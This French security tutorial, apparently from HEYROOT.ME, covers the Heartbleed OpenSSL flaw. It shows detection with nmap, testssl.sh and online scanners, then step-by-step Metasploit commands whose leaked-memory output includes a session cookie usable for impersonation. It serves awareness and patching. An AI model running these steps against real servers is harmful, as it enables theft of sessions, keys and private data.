Exploitation de la faille Heartbleed
Transcription
Exploitation de la faille Heartbleed
HEYROOT.ME Exploitation de la faille Heartbleed Version 1.0 Date 23/11/2015 Révision Initiation du document Auteur Shura HEYROOT.ME Description Heartbleed a été révélé en avril 2014, cette vulnérabilité répertoriée CVE-2014-0160 est critique et affecte les échanges normalement sécurisés par SSL/TLS. Ce trou de sécurité dans la librairie d’OpenSSL a fait couler beaucoup d’encre et est toujours d’actualité sur les systèmes non à jour. Nous allons voir que par sa facilité d’exploitation qu’elle est toujours à prendre au très au sérieux. Heartbleed c’est quoi ? HeartBleed est une vulnérabilité logicielle du système de chiffrement open source OpenSSL, elle aurait été présente depuis mars 2012. Pour les moins savants, OpenSSL est notamment ce qui fait fonctionner le protocole HTTPS permettant les échanges chiffrés entre un client et un serveur. Risques Pour un attaquant exploitant cette faille, il est possible de récupérer des informations situées dans la mémoire vive des serveurs d'un site web. Les informations récupérées sont parcellaires, mais peuvent contenir des données confidentielles telles que des clés, certificats, mots de passe, jetons de session, documents, etc. Tout ceci entièrement à l'insu de l'utilisateur qui les possède. Exploitation Vérifier si votre système est vulnérable Si votre serveur web n’a pas été mis à jour depuis avril 2014 il est largement temps de vous poser la question. Les versions inférieures à OpenSSL 1.0.1g sont vulnérables. Avec nmap Un script NSE (Nmap Scripting Engine) permet d’effectuer la détection. # nmap -sV --script=ssl-heartbleed X.X.X.X -p 443 Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-23 09:54 CET Nmap scan report for X.X.X.X Host is up (0.023s latency). PORT STATE SERVICE VERSION YYYY/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1 |_http-server-header: Apache-Coyote/1.1 | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for 24 novembre 2014 2 HEYROOT.ME reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.67 seconds Avec des sites spécialisés Plusieurs sites mettent à disposition des outils en ligne pour tester notamment la sécurité OpenSSL de votre serveur web. Une simple recherche sur votre moteur de recherche préféré vous présentera plusieurs de ces sites. Pour la plupart il ne teste pas que la vulnérabilité Heartbleed, mais aussi les autres telles que FREAK, Poddle, ou des clés trop petites, ou encore les algorithmes de chiffrements et de hachage devenus osselets (RC4, MD5, etc.) Voici deux exemples : https://sslanalyzer.comodoca.com https://www.ssllabs.com Avec testssl.sh Si vous ouvrez en local sans accès à internet un petit script bash le fera la même chose que les sites spécialisés pour vous, il s’agit de testssl.sh. Il est fiable et bien pratique, à mettre absolument sur votre Kali Linux. Vous pourrez le télécharger via les liens suivants. https://testssl.sh https://github.com/drwetter/testssl.sh/blob/master/testssl.sh Exploitation avec metasploit Le Framework metasploit comprend un module openssl_heartbleed qui vous permettra d’exploiter Heartbleed. Comme toujours avec metasploit c’est très simple à configurer, très pratique même si on ne sait pas toujours ce que ça fait avant d’avoir mis les mains dans le code. msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > set VERBOSE true VERBOSE => true msf auxiliary(openssl_heartbleed) > set RHOSTS X.X.X.X RHOSTS => X.X.X.X msf auxiliary(openssl_heartbleed) > set RPORT YYYY RPORT => YYYY msf auxiliary(openssl_heartbleed) > run N’oubliez pas d’activer le mode verbeux. Voici un extrait du résultat : [*] [*] [+] [*] X.X.X.X:YYYY X.X.X.X:YYYY X.X.X.X:YYYY X.X.X.X:YYYY - Sending Heartbeat... Heartbeat response, 65535 bytes Heartbeat response with leak Printable info leaked: 24 novembre 2014 3 HEYROOT.ME (…) A://X.X.X.X:YYYY/site/admin/X-GWT-Permutation: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXOrigin: https://X.X.X.X:YYYYUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36Content-Type: text/x-gwt-rpc; charset=UTF8Accept: */*Referer: https://X.X.X.X:YYYY/site/admin/index.phpAccept-Encoding: gzip, deflateAccept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=44CBD270A09AA8A267E6CE654E4B3B4B7 (…) Nous avons récupéré des éléments parcellaires de la mémoire du serveur et notamment un bout de requête GET qui contient un jeton de session Java JSESSIONID. Ceci pourrait permettre selon les cas de figure à usurper l’identité d’une personne connectée. Tachez d’avoir une politique efficace de mise à jour de vos systèmes ! 24 novembre 2014 4